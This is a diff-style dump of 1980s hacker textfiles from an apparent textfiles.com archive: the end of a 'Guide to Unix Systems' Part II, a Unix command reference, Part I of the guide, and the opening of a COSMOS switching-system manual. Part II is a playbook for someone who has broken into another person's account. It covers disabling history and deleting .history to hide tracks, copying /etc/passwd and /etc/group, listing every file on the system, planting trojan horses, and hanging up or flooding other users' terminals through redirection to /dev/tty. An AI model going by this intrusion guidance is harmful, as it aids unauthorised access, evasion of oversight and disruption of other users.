Assuming that you have gotten into someone else's account, the first
thing to do when you log in is shut your messages off with "mesg n" (messages
no). This will turn off write permission to your tty in /dev/ttyXX (where XX
is your tty number). It will prevent people from writing to you while you're
online buffering system information. It will also stop people from
redirecting output to your tty. Plus, you'll be busy so you want no
disturbances of any type.
If you're on an account running csh you should set the history to 0.
You can do that with the command 'set history=0'. History is just that... it
keeps a history of everything that you do, all the commands you pass to the
csh is stored. Typing 'history' by itself will show you a list of previous
commands entered by the user. By setting it to 0, it will not record your
commands from the shell. On Sys V under Bourne shell, history is stored
sometimes in the "hidden file" .history in your home directory ($HOME/.history)
You should delete the file before logging off.
Now you should get a copy of the password file. This is easily
accomplished with 'cat /etc/passwd'. Make sure you buffer the contents, you'll
need this for later. You may also wish to get the /etc/group file, this file
has information on all the groups on the system along with members of each
group. (I'll talk about groups in another file.) Just type 'cat /etc/group'
and buffer its contents.
Now comes the interesting part. You'll want to get a listing of every
single file on the system and buffer it. Here's what you would do:
$cd /
(at this point open your buffer)
$find . -type f -exec ls -al {} \;
(when this is finish, close your buffer)
This will take quite a while if the system you're on has a lot of
files. Basically, you are going to the root directory ('cd /') which is the
top of the directory tree hierarchy. From there you will execute the 'find'
command which is a file find utility. We are asking it to print out all the
filenames of type 'f' (which is normal file) from the current directory (which
is root) and all directories below it (which is the rest of the directory
tree) and search all files recursively and pass its findings via -exec to
the "ls" utility which will list its file information (-al including file
attributes).. but anyway, if this is too complicated to follow, don't worry.
Try typing 'man find' for perhaps a better explanation. Suffice it to say
you should now have buffered a listing of all files in the directory tree.
Next take a look at your hidden files like .profile on Sys V or
.login and .cshrc on BSD Unix. They contain login information such as commands
to automatically execute and perhaps some aliases definitions. If there is
anything interesting you should buffer it.
Find out who the hell is on at the time with the "who" command. Then
find out what everyone is doing with the "ps" command. For example on Sys V
Unix you might do something like this:
who -HTu (see "man who" for what the full explanation of all switches)
- basically this shows all users on currently and gives other
information on their tty status like "mesg y" or "mesg n" (A + means
messages are on, a - means messages are off.) It will also report
tty IDLE time, nice to know if someone is working or not.
After you see who's on, you'll want to know what they're doing. This can be
done with the "ps" (Process Status) command:
ps -fu username (read the on-line manual for full options)
- where username is the login name of whoever it is that you wanted to
check up on.
ps -fa | more
- shows ALL processes on the system. Piping through more will pause
tty output every screenful.
Using the "ps" utility is handy in getting some interesting paths to
programs run by users on the system as it shows the path to the entire process.
I have found many neat programs and utilities by watching what other people
do on the system with the "ps" command.
At this point you are interested in getting your own account if
possible. You have several options now. You could install a trojan horse
program in hopes of getting an account or you may want to play around with
the account you have.
Installing a trojan horse. I'll be going into more details about
trojan horses in a future issue of TUN as there are many ways to do this.
You should check first to see that your Unix system has a C compiler on it.
(yes, you'll unfortunately have to know a little bit of programming so go
get those books on C and start reading!). If it doesn't have a C compiler
you'll be out of luck, but not completely helpless, you could start writing
shell scripts (again probably another issue of TUN to cover shell scripts).
If you want to play around on the system, here are a few things to do.
One of the most basic tricks of Unix is called i/o redirection. This is a
process whereby you "redirect" standard input/output to some other device.
An example would be if I were to send a file to my screen to look at it, I
would redirect the output to another file, or screen, or printer, or any other
device on the system. Let's go with redirection to a file for a simple first
step. Suppose I had a text file called "textfile001".
To view to the screen I would type:
$cat textfile001
What happens when you type the 'cat' command is it views the file and send
its output to your tty or terminal screen. Now if I were to do this:
$cat textfile001 > newfile
You can see that nothing happens to the screen and it will come back to the
main prompt. However you will now have a new file called "newfile" whose
contents are those of textfile001. The redirection symbol > told it to cat
the file textfile001 but redirect standard output to the file called "newfile".
Using this principal, you can try to redirect things to people's tty's
or terminal screen. (Note - redirection to tty's will not work on BSD Unix
ver 4.3 due to a bug fix.) The way to do that is like this:
$cat textfile001 > /dev/ttyXX
Where XX is the tty number you wish the standard output to go to. So for
example if I were to do a 'who' command and I find that there is a user name
'steve' on the system on 'tty12' I could send the text file to his tty with:
$cat textfile001 > /dev/tty12
Now the standard output of 'cat' will go to tty12 which belongs to user steve.
Another trick to to redirect stty outputs to people's tty's. The
stty command handles certains setups for your tty, including how to process
erase keys, interrupt keys, baud rate, hangups, etc... For a list type
'man stty' to get the on-line manual entry for stty. Anyways, the command
stty 0 will automatically terminate phone connection to the system (i.e. hang
you up). So if you were to type:
$stty 0
You would gracefully exit the system with a &[1 NO CARRIER or some equivalent.
Now using redirection you can send your stty commands to other tty's. So using
the above example of stty 0:
$stty 0 > /dev/tty12
will hang up user steve. Unfortunately, due to the way Sys V handles stty
processing, this will not work on System V or later versions of BSD Unix
(4.3 to be exact.)
Other nasty things to do is to cat binary files to people's tty. Due
to the big file sizes of certain binary executables you should do redirection
in the background..that is with the & symbol at the end of the command line.
For example to send the "ls" binary file to user steve we would type:
$cat /bin/ls > /dev/tty12 &
Once typed in, you will get a Process ID (PID) or job number (on BSD) for
the background job. You will also get your prompt back so you can proceed
as normal while Unix is sending the ls binary to user steve. To kill the
process you could type:
$kill -9 PID where PID is the number returned to you from the
background command.
On BSD:
$kill %jobnumber for example if the job number returned was 1 then
$kill %1 will do the job.
This is handy to remember since doing a ps -fu username on your username
will reveal you are sending him a binary file in the background. You could
easily be dubbed the culprit messing with people's tty's.
Well, at this point I would like to wrap up Part II. If there are
typos my apologies.. it's late. Part III will be a bit more technical but
hopefully you'll get something out of it. I will be going over trojan horses
and emulators, and perhaps a discussion of file protections is in order and
of course how to get other people's files and give yourself more permission.
This file is for informational purposes only.
Brought to you by:
--------H.ackers--------A.gainst-----------L.aw---------E.nforcement-----------

532
textfiles.com/hacking/UNIX/unix.inf Normal file
View File

@@ -0,0 +1,532 @@
::::::::::::::::::::::::::::::::::::::
::UNIX PRIMER PLUS COMMAND REFERENCE::
::: :::
::------------------------------::
:: ::
:: Created, edited and dist by ::
:: ::
:: ---* ::
:: ::
:: Frosty ::
:: ::
:: GCMS - MechWarriors ::
:: ::
::------------------------------::
Starting up :::
---------------
LOGIN - sign on
PASSWD - change login password
Manipulating Files and Directories :::
--------------------------------------
CAT - concatenate and print
CAT [-N,-S,-V] file . . .
Options :
-N numbers lines starting at 1
-S eliminates multiple, consecutive, blank lines
-V prints invisible characters
Example :
CAT FILE2 displays file2 on terminal.
CD, CHDIR - change directory
CD
CD directoryname
Example :
CD/USER/REGGIE/HACK places you in the USR/REGGIE/HACK directory
CHMOD - change modes or permissions on files
CHMOD UGO, + -, RWX file . . . or directory . . .
Who :
U login owner ( user )
G group
O other users
Op-Codes :
+ add permission
- remove permission
Permissions :
R read
W write
X execute
Examples :
CHMOD O-RWX PRIVATE removes read, write and execute permissions for
others from the file called PRIVATE
CP - make copy of files
CP[-I] file1 file2
CP[-I] file . . . ( file, file . . . , directory )
Option :
-I protects existing files
Examples :
CP FLIM FLAM makes a copy of the file FLIM and calls it FLAM
LN - make a file linds
LN file . . . file . . . or file . . . directoryname
Example :
LN HIST /USR/FRANCIE links the file HIST to the /USR/FRANCIE directory
LPR, LPQ and LPRM - use the line printer
LPR file . . .
LPQ
LPRM file . . .
Options :
These vary from system to system
Example :
LPR SOME STUFF sends the file SOME and STUFF to the printer
LPQ checks the line printer queue
LPRM DATA3 removes the file DATA3 from the printer queue
LS - list contents of directory
LS [-A, C, L, M, R, S, F, R, + others] directory . . .
Options :
-A list all entries
-C list by time of file creation
-L list in long format
-M list in a stream output
-R reverses the order of the listing
-S gives the size in blocks
-F marks directories with a '/' and executable programs with a '*'
( the -F is capitalized )
-R list recursively any subdirectories
( the -R is capitalized )
Example :
LS -C lists contents of current directory in order of time of creation
MKDIR - makes a new directory
MKDIR directoryname
Example :
MKDIR CHAPTER4 creates a new subdirectory called CHAPTER4 in the
present directory
MORE - views long files one screenful at a time
MORE file . . .
MV - move or rename files
MV [-I] filename1 filename2 or filename1 directoryname
Option :
-I Protects existing files
Example :
MV GABBY MUDBALL changes the name of the file GABBY to MUDBALL
RM - remove a file
RM [-I, -R] file . . .
Options:
-I Protects existing files
-R Deletes a directory and every file or directory in it ( be careful )
Example:
RM JUNKY removes the file JUNKY
RMDIR - removes directories
RMDIR directory . . .
Example:
RMDIR BUDGET65 removes directory BUDGET65 if it does not contain files
REDIRECTION OPERATORS -<, >, >>
Example:
CAT LISTA LISTB >> LISTC appends the files LISTA and LISTB to LISTC
PIPES - |
Example:
CAT LISTA LISTB | LPR joins two files and 'pipes' the result to printer
COMMUNICATIONS :::
------------------
BIFF - notification of mail upon arrival
BIFF [Y, N]
Example:
BIFF Y causes you to be notified the moment mail arrives
FINGER - provides information about users
FINGER [-M, -L, -S] name
Options:
-M search only login names
-L display long form
-S display short form
Example:
FINGER -S RONNIE finds all users with login name of 'RONNIE'
MAIL - receiving mail
MAIL
Commands:
1, 2, 3 . . . reads message number 1 each time you push 1, etc.
P prints the first message
D2 deletes message number 2
S3 FILENAME appends message number 3 to FILENAME
Q quits mail
Other commands may exist on some systems
MAIL - sending mail
MAIL LOGINNAME(S)
Examples:
MAIL SCUMMY MANIAX
{ text of message here }
[CONTROL - D]
MESG - permit or deny messages from write
MESG [-Y, -N]
Example:
MESG N prevents people from using WRITE to interrupt you
WRITE - write to another user
WRITE LOGINNAME
HOUSEKEEPING UTILITIES :::
--------------------------
CAL - provides a calendar
CAL [month] year
Example:
CAL 05 1942 is the calendar for May 1942
CALENDAR - a reminder service
You create a file in your home directory called CALLENDAR.
Unix sends you reminders by mail
Example:
Your CALENDAR file might look like:
Break into ATT March 19
Transfer funds to CuD March 20
1992 report due
DATE - gives date and time
LOCK - reserves your terminal
PWD - prints working directory
UPTIME - checks system status
W - who is on the system and what they are doing
W
W [-H, -S] user
Options:
-H suppresses the heading
-S short form
Example:
W -HS TROOPER lists the user, TROOPER, idle time, and job name
WHO - who is on the system
WHO [AM I]
Example:
WHO tells who is on the system
ON-LINE HELP :::
----------------
LEARN - computer-assisted lessons
Type LEARN to start these lessons
MAN - find manual information by keywords
MAN [-K] [keyword]
Option:
-K produces a one-line summary
Example:
MAN CAT displays the on-line namual explanation of CAT
TEXT PROCESSING AND FORMATTING :::
----------------------------------
ED - line-oriented text editor
ED file
NROFF - advanced typesetting
PR - prints partially formatted file
PR [-N, -M, -T] file . . .
Options:
-N arranges text into n columns
-M prints all files in multiple columns
-T suppresses heading on each page
Example:
PR FROSTY prints file FROSTY on the terminal
VI - the screen-oriented test editor
VI file
INFORMATION HANDLING :::
------------------------
AWK - pattern scanning and processing language
CMP - compare two files
CMP filename1 filename2
Example:
CMP SWASS TROOPER finds and prints by byte and line number the
first difference between the two files
COMM - finds lines common to two sorted files
COMM [-1, -2, -3] file1 file2
Options:
-1 don't print the first column
-2 don't print the second column
-3 don't print the third column
Example:
COMM FROSTY JUNKY prints three columns. First, lines only in FROSTY,
secondly, lines only in file JUNKY, and thirdly,
lines in both files
DICTION - will print wordy sentences
DICTION file . . .
DIFF - finds the difference between two files or directories
DIFF [-B, -E, -R] file1 file2 or directory1 directory2
Options:
-B ignores trailing blanks
-E output in the form of ED commands
-R apply to directories recursively
Example:
DIFF GIFT1 GIFT2 shows how to make GIFT1 like GIFT2
FIND - finds designated files and acts upon them
FIND pathname search criteria action(s)
Search Criteria:
-NAME filename files named 'filename'
-SIZE n files of size n blocks
-LINKS n files with n links
-ATIME n files accessed n days ago
-MTIME n files modified n days ago
-NEWER filename files modified more recently than the file 'filename'
( Note 'n' without a sign means exactly n, '+n' means greater than n,
'-n' means less than n )
Actions:
-PRINT prints the pathname of the found file
-EXEC command \; executes the given command upon finding a file;
{ } represents the found file
-OK command \; same as -EXEC except your approval is requested
before each execution; reply with a Y
Example:
FIND /USR/FROSTY -MTIME -10 -PRINT finds all files in USR/FROSTY
directory that have been modified
within 10 days and prints pathnames
GREP - search a file for a pattern
GREP [-N, -I, -C, -W] pattern file
Options:
-N precedes each matching line with its line number
-I ignores the case of letters
-C prints only a count of matching lines
-W matches only complete words with the pattern
Example:
GREP -IW PHRACK CODE searches the file PHRACK for the words
'code', 'CODE', 'Code', etc. . . .
HEAD - looks at the head of a file
HEAD [-N] file . . .
Option:
-N print 'n' lines
Example:
HEAD -15 2600 prints the first 15 lines of the file 2600
SORT - sorts and merges files
SORT [-B, -D, -F, -N, -O, -R] file . . .
Options:
-B ignore initial blanks
-D 'dictionary' order
-F ignores upper and lowercase letters
-N sorts numbers by value
-O FILENAME outputs to file called FILENAME
-R sort in reverse order
Example:
SORT -FR -O SORTBAG GRABBAG sorts the file GRABBAG in reverse order,
ignoring upper and lowercase letters.
results stored in SORTBAG
SPELL - find spelling errors
SPELL file . . .
TAIL - gives the last part of a file
TAIL [-N] file
Option:
-N start 'n' lines from the end
Example:
TAIL -20 EFF prints the last 20 lines of the file EFF
UNIQ - remove duplicated
UNIQ [-U, -D, -C] inputfile [outputfile]
Options:
-U prints only lines with no duplicates
-D prints one copy of lines with duplicates
-C prints number of times line is repeated
Example:
UNIQ -D CHAOS EO scans the file CHAOS for lines that appear more than
once. One copy of each line placed in the file EO
WC - word count
WC [-L, -W, -C, -P] file . . .
Options:
-L counts lines
-W counts words
-C counts characters
-P counts pages ( 66 lines )
Example:
WC -W MABELL counts the number of words in the file MABELL
RUNNING JOBS AND PROGRAMS :::
-----------------------------
AT - execute commands at a later time
AT time [day] [file]
Example:
AT 23 VIRAL runs the commands in the file VIRAL at 11:00 pm
CC - compile C programs
CC [-C, -O] file . . .
Options:
-C creates object file suuppressing loading
-O filename uses filename for the file A.OUT
Example:
CC PHREAKER.C compiles PHREAKER.C file, with the executable program
placed in A.OUT file
F77 - compile FORTRAN programs
F77 [-C, -O] file . . .
Options:
-C creates object file suppressing loading
-O filename uses filename for file A.OUT
Example:
F77 PAYROLL.F compiles PAYROLL.F file, with the executable
code placed in A.OUT file
JOBS - will list stopped and background jobs
JOBS [-L]
Option:
-L gives long listing that includes process identification number (PID)
KILL - will terminate jobs
KILL [-9] job number or process ID
Option:
-9 this is a sure kill
Example:
KILL %3 or KILL 3492 kills job[3] or PID #3492
PC - compiles Pascal programs
PC [-C, -O] file . . .
Options:
-C creates object code file suppressing loading
-O filename uses filename for A.OUT
Example:
PC E911.P compiles E911.P file, with the executable code placed
in A.OUT file
PS - the Process Status Report
PS [A]
Option:
A displays PS information for all terminals
TEE - split output
TEE [-I, -A] file
Options:
-I ignores interrupts
-A sends output to the end of named file
Example:
LS -L /USR | TEE -A CLUTTER produces the long listing of the /USR
directory on the terminal and also appends
it to the end of the file CLUTTER
TIME - will time a command
TIME commandname
Example:
TIME CC TROJAN.C runs the command CC TROJAN.C and prints execution time
when finished
------------------------------------------------------------------------------
Produced by: Frosty ---*
GCMS - MechWarriors
" Educating the Masses "
------------------------------------------------------------------------------
Call these other fine BBS'
Temple of the Screaming Electron..........415-935-5845
Sirius Cybernetics Corporation............808-521-3306
The Hollow................................415-849-2688
And NUAs
Lutzifer.................................26245400080177
LINA.....................................22222800173
-------------------------------------------------------------------------------

BIN
textfiles.com/hacking/UNIX/unix.info Normal file
View File

Binary file not shown.

2820
textfiles.com/hacking/UNIX/unix.sec Normal file
View File

File diff suppressed because it is too large Load Diff

BIN
textfiles.com/hacking/UNIX/unix.txt Normal file
View File

Binary file not shown.

BIN
textfiles.com/hacking/UNIX/unix.wek Normal file
View File

Binary file not shown.

2821
textfiles.com/hacking/UNIX/unix001.hac Normal file
View File

File diff suppressed because it is too large Load Diff

2824
textfiles.com/hacking/UNIX/unix001.txt Normal file
View File

File diff suppressed because it is too large Load Diff

199
textfiles.com/hacking/UNIX/unix1.hac Normal file
View File

@@ -0,0 +1,199 @@
===============================================================================
rush2112
pRESENTS
a hale pRODUCTION
h ACKERS a GAINST l AW e NFORCEMENT
cALL hale hQ. (619)660-67XX
aCTIVE hale MEMBERS ARE: rIPPER, tRASHMAN, rUSH2112.
tHE uNDERGROUND nEWSLETTER: vOL i. iSSUE i, pART i
===============================================================================
nOTE: fEEL FREE TO DISTRIBUTE THE FILE PROVIDED NONE OF ITS CONTENTS OR
CREDITS ARE CHANGED.
tOPIC: a gUIDE TO uNIX sYSTEMS, pART i.
dATE: sEPTEMBER 1, 1989.
fOREWORD: tHIS FILE IS COMPILED FROM MY EXPERIENCES ON BOTH bsd AND sYS v
uNIX ON vax 750/780 MAINFRAMES, at&t 3b20 AND pYRAMID tECHNOLOGY'S
MAINFRAMES.
iN TODAY'S WORLD, AS A HACKER, YOU ARE NOTHING UNLESS YOU LEARN SOME
OF THE MORE POPULAR OPERATING SYSTEMS AROUND USED ON MINIS, MAINFRAMES, SUPER-
COMPUTERS AND THE LIKE. iN THIS FILE i WILL ATTEMPT (TO THE BEST OF MY
ABILITY) TO INTRODUCE YOU TO ONE OF THOSE OPERATING SYSTEMS - NAMELY - THE
WORLD OF uNIX. iT IS HOPED THAT BY READING THIS FILE YOU CAN PICK UP PERHAPS
ENOUGH OF A WORKING KNOWLEDGE SO THAT IF BY CHANCE IN YOUR HACKING EXPLOITS YOU
COME ACROSS A uNIX SYSTEM (AND YOU WILL) YOU'LL KNOW WHAT TO DO.
tHERE IS no way TO COVER EVERYTHING ABOUT uNIX IN A FILE SO THIS WILL
BE THE FIRST OF MANY THAT i HOPE TO RELEASE IN THE FUTURE. iF i FIND THERE ARE
STUFF i HAVE NOT MENTIONED i WILL WRITE MORE FILES AS NEEDED. iN pART ii, i
PLAN TO GIVE YOU A TUTORIAL ON WHAT TO DO WHILE YOU'RE ON-LINE IN REGARDS TO
HACKING AND USING ESSENTIAL SYSTEM UTILITIES. hAVE FUN.
uSUALLY (UNLESS MODIFIFIED BY THE SYSTEM ADMINISTRATOR OR ONE WITH SUCH
PRIVILEGES), YOU CAN TELL IF YOU'VE CONNECTED TO A uNIX SYSTEM OF SOME TYPE BY
THE LOGIN PROMPT WHICH LOOKS LIKE THIS:
LOGIN:
pRETTY SIMPLE HUH? aNYWAY, THAT IS THE STANDARD LOGIN PROMPT, IT MAY OR MAY
NOT BE PRECEDED BY A MESSAGE TELLING YOU WHAT TYPE OF uNIX OR SYSTEM YOU HAVE
CONNECTED TO.
iF YOU TRY TO LOGIN WITH AN ILLEGAL LOGIN NAME AND/OR AN ILLEGAL
PASSWORD THE SYSTEM WILL RESPOND AS SUCH AND AS YOU TO TRY AGAIN:
LOGIN:HACKER
PASSWORD:
LOGIN INCORRECT
LOGIN:
(nOTE THE PASSWORD IS NOT ECHOED IN ANY FORM)
iN pART i OF THIS uNIX TUTORIAL i'D LIKE TO START WITH AN OVERVIEW OF
THE uNIX SYSTEM BEFORE i GET INTO SOME OF THE MORE INTERESTING STUFF (SO BEAR
WITH ME ALL YOU uNIX EXPERTS). tHEN i WILL GO THROUGH THE LOGIN PROCESS AND
THE /ETC/PASSWD FILE AND HOW IT IS STRUCTURED. tHIS WILL NOT BE AN IN-DEPTH
LOOK AT ALL, MERELY AN OVERVIEW. sOME DAY i WILL WRITE AN IN-DEPTH STUDY TO
ACCOMPANY THIS FILE AND THE FILES THAT FOLLOW FOR THE MORE ADVANCE USER/HACKER.
tHERE ARE BASICALLY 2 TYPES OF uNIX SYSTEMS THAT YOU WILL MOST LIKELY
COME ACROSS. tHEY ARE:
i. bsd uNIX - FROM uc bERKELEY'S (b)ERKELEY (s)OFTWARE (d)ISTRIBUTORS
ii. sYSTEM v unix - FROM at&t (HOW NICE - i KNOW ALL YOU PHREAKERS ARE SMILING!)
(oTHER SPINOFF'S OF THE ABOVE 2 WILL NOT BE DISCUSSED - SUCH AS uLTRIX,
mINIX, xENIX, ETC...)
tHEY ARE ALIKE IN MANY RESPECTS BUT BOTH HAVE THEIR DIFFERENCES, HENCE
THEIR ARE ADVANTAGES AND DISADVANTAGES TO BOTH OF THE SYSTEMS, bsd AND sYS v.
pERHAPS THE MAIN DIFFERENCE BETWEEN THE TWO ARE THE DEFAULT SHELL THAT EACH
USES AS THE USER INTERFACE TO THE SYSTEM UTILITIES.
bsd uNIX DEFAULTS TO THE CSH (c-sHELL) WHILE at&t'S sYS v USES THE SH
(bOURNE SHELL). bUT ON BOTH OF THESE SYSTEMS BOTH SHELL TYPES ARE AVAILABLE TO
THE USER. a THIRD OPTIONAL SHELL WHICH IS ALSO PRETTY POPULAR IS THE KSH
(kORN SHELL). tHE WAY TO RECOGNIZE THE DEFAULT SHELLS WHEN YOU SEE THEM IS BY
THEIR DEFAULT PROMPT. tHE CSH USES THE % SYMBOL AS THE PROMPT WHILE THE SH
USES THE $ SYMBOL AS THE PROMPT.
nOW LET'S TALK ABOUT FILES, SHALL WE? tHE most IMPORTANT FILE OF ALL
ON any unix SYSTEM IS THE PASSWORD FILE. tHIS FILE HOLDS INFORMATION ABOUT
ALL THE ACCOUNTS ON THE SYSTEM, PASSWORDS, AND OTHER INFORMATION. wITHOUT
THIS FILE NO ONE CAN LOG IN AND USE THE SYSTEM. yOU CAN FIND THIS FILE ON ANY
SYSTEM IN THE /ETC DIRECTORY. iT IS CALLED SIMPLY 'PASSWD'. tHE FULL
PATHNAME IS /ETC/PASSWD (OF COURSE).
tHE /ETC/PASSWD FILE IS STUCTURED AS SUCH:
eACH USER HAS AN ENTRY IN THE PASSWD FILE THAT HOLDS HIS ACCOUNT INFORMATION.
aMONG THE INFORMATION INCLUDED ON EACH USER ENTRY LINE IS HIS LOGIN NAME,
HIS PASSWORD (ENCRYPTED), HIS USER ID, HIS GROUP ID, HIS HOME DIRECTORY, HIS
NAME, AND HIS STARTUP PROGRAM IF ANY. bASICALLY IT LOOKS SOMETHING LIKE THIS:
------------------------ sAMPLE /ETC/PASSWD FILE --------------------------
gENERAL FORMAT OF EACH ENTRY:
LOGIN:PASSWORD:USER-id:GROUP-id:INFO:HOME DIRECTORY:STARTUP PROGRAM
ROOT:aRLLZ76dNQ:0:0:tHE & OF aLL eVIL:/:/BIN/CSH
JSMITH:yI83AMQ9:102:100:jOHN sMITH:/USR/JSMITH:/BIN/SH
WHO::99:500:wHO'S ON:/USR/UCB:/BIN/WHO
DAEMON:R6eEU:1:1:tHE devil HIMSELF:/ETC:/BIN/CSH
BIN:MB033YT:3:3:tHE kEEPER OF THE fLAME:/ETC:/BIN/CSH
INFO::508:501:lIBRARY USER GROUP:/USR2/INFO:/USR2/BIN/RSH
.....
..... [ AND SO ON ]
.....
----------------------------------------------------------------------------
nOW WE'LL EXAMINE EACH ENTRY. rEMEMBER THAT EACH FIELD IS SEPARATED
BY THE COLON. sO IN THE FIRST ENTRY IN /ETC/PASSWD GIVEN ABOVE, WE CAN TELL
THE FOLLOWING ABOUT THE ENTRY.
LOGIN NAME IS: ROOT
pASSWORD (ENCRYPTED): aRLLZ76dNQ
uSER id: 0
gROUP id: 1
iNFO (USUALLY OWNER): ROOT
hOME dIRECTORY: /
sTARTUP pROGRAM: /BIN/SH
tHE SECOND ENTRY IN /ETC/PASSWD LOOKS LIKE THIS:
LOGIN NAME IS: JSMITH
pASSWORD (ENCRYPTED): yI83AMQ9
uSER id: 102
gROUP id: 100
iNFO (USUALLY OWNER): jOHN sMITH
hOME dIRECTORY: /USR/JSMITH
sTARTUP pROGRAM: /BIN/SH
bUT NOW YOU GET THE GENERAL FORMAT...SO LET'S DISCUSS SOME THINGS
ABOUT THE FIELD.
i. tHE LOGIN FIELD
tHIS IS THE LOGIN NAME THAT YOU USE TO LOGIN AT THE PROMPT OF THE uNIX
SYSTEM. dURING THE LOGIN PROCESS, AFTER YOU ENTER THE LOGIN AND THE PASSWORD
THE SYSTEM WILL THEN CALL ROUTINES TO SEARCH THE 1ST FIELD OF EACH ENTRY
IN /ETC/PASSWD TO SEE IF ANY LOGIN NAMES MATCH UP WITH THE ONE YOU HAVE GIVEN
IT. iF NONE EXISTS IT WILL REPORT THE "LOGIN INCORRECT" MESSAGE AND START
PROMPTING FOR A NEW LOGIN NAME AND NEW PASSWORD.
ii. tHE pASSWORD FIELD
iF THE LOGIN NAME IS VALID, uNIX THEN TAKES YOUR PASSWORD ENTRY AND ENCRYPTS
IT THEN COMPARES IT AGAINST THE ENCRYPTED PASSWORD IN THE 2ND FIELD OF THE
LOGIN NAME ENTRY (SEE i. tHE LOGIN FIELD). iF THE TWO PASSWORDS MATCH UP, THE
LOGIN PROCESS WILL CONTINUE, OTHERWISE THE "LOGIN INCORRECT" MESSAGE WILL BE
DISPLAYED. i'LL EXPLAIN LATER WHAT GOES ON WHEN COMPARISONS OF THE ENCRYPTED
PASSWORDS TAKE PLACE. iF THE pASSWORD fIELD CONTAINS NULL :: THEN NO PASSWORD
IS NEEDED AND THE SYSTEM LOGS YOU INTO THE HOME DIRECTORY AND EXECUTES THE
STARTUP PROGRAM. iF THE pASSWORD fIELD CONTAINS :,.: THEN UPON LOGIN THE
SYSTEM WILL RUN THE PASSWD UTILITY AND ASSIGN THAT ACCOUNT A PASSWORD. (tHIS
IS NICE IF YOU'RE A SYSTEM ADMINISTRATOR, YOU CREATE AN ACCOUNT FOR YOUR
FRIEND THEN PUT THE ",." IN THE PASSWORD FIELD AND HE'LL SET HIS OWN PASSWORD
UPON LOGIN.
iii. tHE uid (uSERid) FIELD
iF EVERYTHING IS CORRECT (LOGIN NAME AND PASSWORD) THEN THE SYSTEM PROCEEDS
TO PUT YOUR IN YOUR HOME DIRECTORY. yOU ARE THEN GIVEN A uid FROM YOUR ENTRY
IN THE /ETC/PASSWD FILE. aLL uid'S FALL IN THE RANGE 0-65535 WITH 0 AS THE
SUPERUSER uid (SEE /ETC/PASSWD EXAMPLE). tHE SYSTEM RESERVES uid 0-99 FOR
SPECIAL ACCOUNTS. uid'S ARE USED BY THE SYSTEM AND ITS UTILITIES TO CONTROL
BOTH ACCESS LEVELS AND FILE OWNERSHIP (AS DETERMINED BY THE LS UTILITY - MORE
ON THAT LATER).
iv. tHE gid (gROUPid) FIELD
tHE gROUP id IS USED TO ASSOCIATE THE USER WITH A CERTAIN GROUP, USED BY
uNIX PRIMARILY FOR ACCESS LEVELS AS DETERMINED BY FILE PROTECTIONS. (I.E.
A MEMBER WHO IS NOT IN A GROUP CAN NOT GET GROUP PRIVILEGES ON FILES FOR THAT
GROUP, EVEN THOUGH FILE PROTECTIONS FOR THE FILE SAY ALL PRIVILEGES TO GROUP
USERS.) gid'S FALL IN THE RANGE 0-655535 WITH gid 1 BEING THE DEFAULT. aLL
gid'S BETWEEN 0-99 ARE RESERVED.
v. tHE iNFORMATION FIELD
tHIS FIELD USUALLY HOLDS THE ACCOUNT OWNER'S NAME THOUGH IT CAN BE USED
FOR ANYTHING ACTUALLY. i HAVE SEEN IT USED TO DESCRIBE THE ACCOUNT FUNCTION
(SEE THE SAMPLE /ETC/PASSWD FILE ON THE ENTRY FOR LOGIN NAME "WHO"), AND ALSO
TO HOLD PEOPLE'S PHONE EXTENSION, ETC..
vi. tHE hOME dIRECTORY fIELD
tHIS FIELD SHOULD HAVE THE FULL PATHNAME TO YOUR HOME DIRECTORY. oN MANY
unix SYSTEMS IT IS USUALLY IN THE FORMAT OF /USR/*LOGINNAME! (sEE THE
ENTRY FOR LOGIN NAME "JSMITH"). nOT NECESSARILY YOUR permanent HOME
DIRECTORY, ONE CAN CHANGE IT BY REASSIGNING AN ALTERNATE PATH TO THE SYSTEM
VARIABLE $home (ON sYS v).
vii. tHE pROGRAM fIELD
uSUALLY THIS FIELD HOLDS THE STARTUP PROGRAM TO EXECUTE ONCE THE LOGIN
PROCEDURE HAS BEEN COMPLETED. iF LEFT BLANK THEN THE DEFAULT STARTUP PROGRAM
WILL BE THE SHELL ASSIGNED TO THE uNIX SYSTEM. iN THE OUR EXAMPLE /ETC/PASSWD
FILE, THE ENTRY FOR LOGIN NAME WHO, WILL EXECUTE THE WHO COMMAND IN /BIN/WHO
ONCE YOU LOG IN. hOWEVER, AFTER THE COMMAND FINISHES EXECUTING, IT WILL EXIT
THE SYSTEM AS THERE IS NO PASSWORD ON THE ACCOUNT, THERE IS NO WAY TO STAY
LOGGED IN. oN THE INFO ACCOUNT HOWEVER, YOU WILL REMAIN LOGIN UNTIL YOU TYPE
EXIT OR LOGOUT OR ctrl-d AS THE PROGRAM RUNNING THERE IS A SHELL. tHOUGH NOT
A FULL bOURNE SHELL OR c-SHELL, THE RESTRICTED SHELL (RSH) DOES ALLOW TO YOU
PLAY AROUND A LITTLE.
wELL, THAT ABOUT DOES IT FOR WHAT i WANT TO COVER IN pART i. lOOK FOR
pART ii COMING OUT REAL SOON. i WILL BE GOING INTO DETAILS WHAT TO DO ONCE
ONLINE WITH AN ACCOUNT AND HOW TO GO ABOUT GETTING AN ACCOUNT. tHIS FILE IS
FOR INFORMATIONAL PURPOSES ONLY.
------------------------------------------------------------------------------
bROUGHT TO YOU BY: tHE aPPLE bANDIT 10-89
Text-Files 2: 

341
textfiles.com/hacking/UNIX/unix2.hac Normal file
View File

@@ -0,0 +1,341 @@
******************************************************************************
* *
* C O S M O S *
* *
*************** C O P Y R I G H T 1 9 8 4 D O C T O R W H O ***************
COSMOS SERIES PART 1 - THE MANUAL
MAY 1, 1984:
IN THIS SERIES OF ARTICLES WE WILL DEAL WITH COSMOS, THE BELL SWITCHING
COMPUTER, HOW IT WORKS AND HOW TO USE IT TO YOUR OWN BENEFIT.
FIRST IN THE SERIES IS PART OF THE ACTUAL COSMOS MANUAL. IT IS NOT THE WHOLE
THING, BUT THE BEST PART..IT MAY BE DIFFICULT TO UNDERSTAND, BUT IT IS A
VALUABLE REFERENCE MANUAL.
NOTE: THIS IS IN 80 COLUMNS AND LOWER CASE.
BELL ISSUE: OPA-1Y632-01
ISSUE 2, JANUARY 1983
5. PERMANENT ASSEMBLIES
5.1 Create a Permanent Assembly (CAY)
Transaction CAY associates a group of facilities as an assembly. Permanent
Assemblies may be created from facilities which have spare (SF), reserved (RS),
avaliable (AV), miscellaneous (MS), official (OF), trunk injector (TJ), test
(TS) or working (WK) status. Facilities that have an excluded (EX), left-in
(LI) or unknown (UK) status, may not be part of a Permanent Assembly.
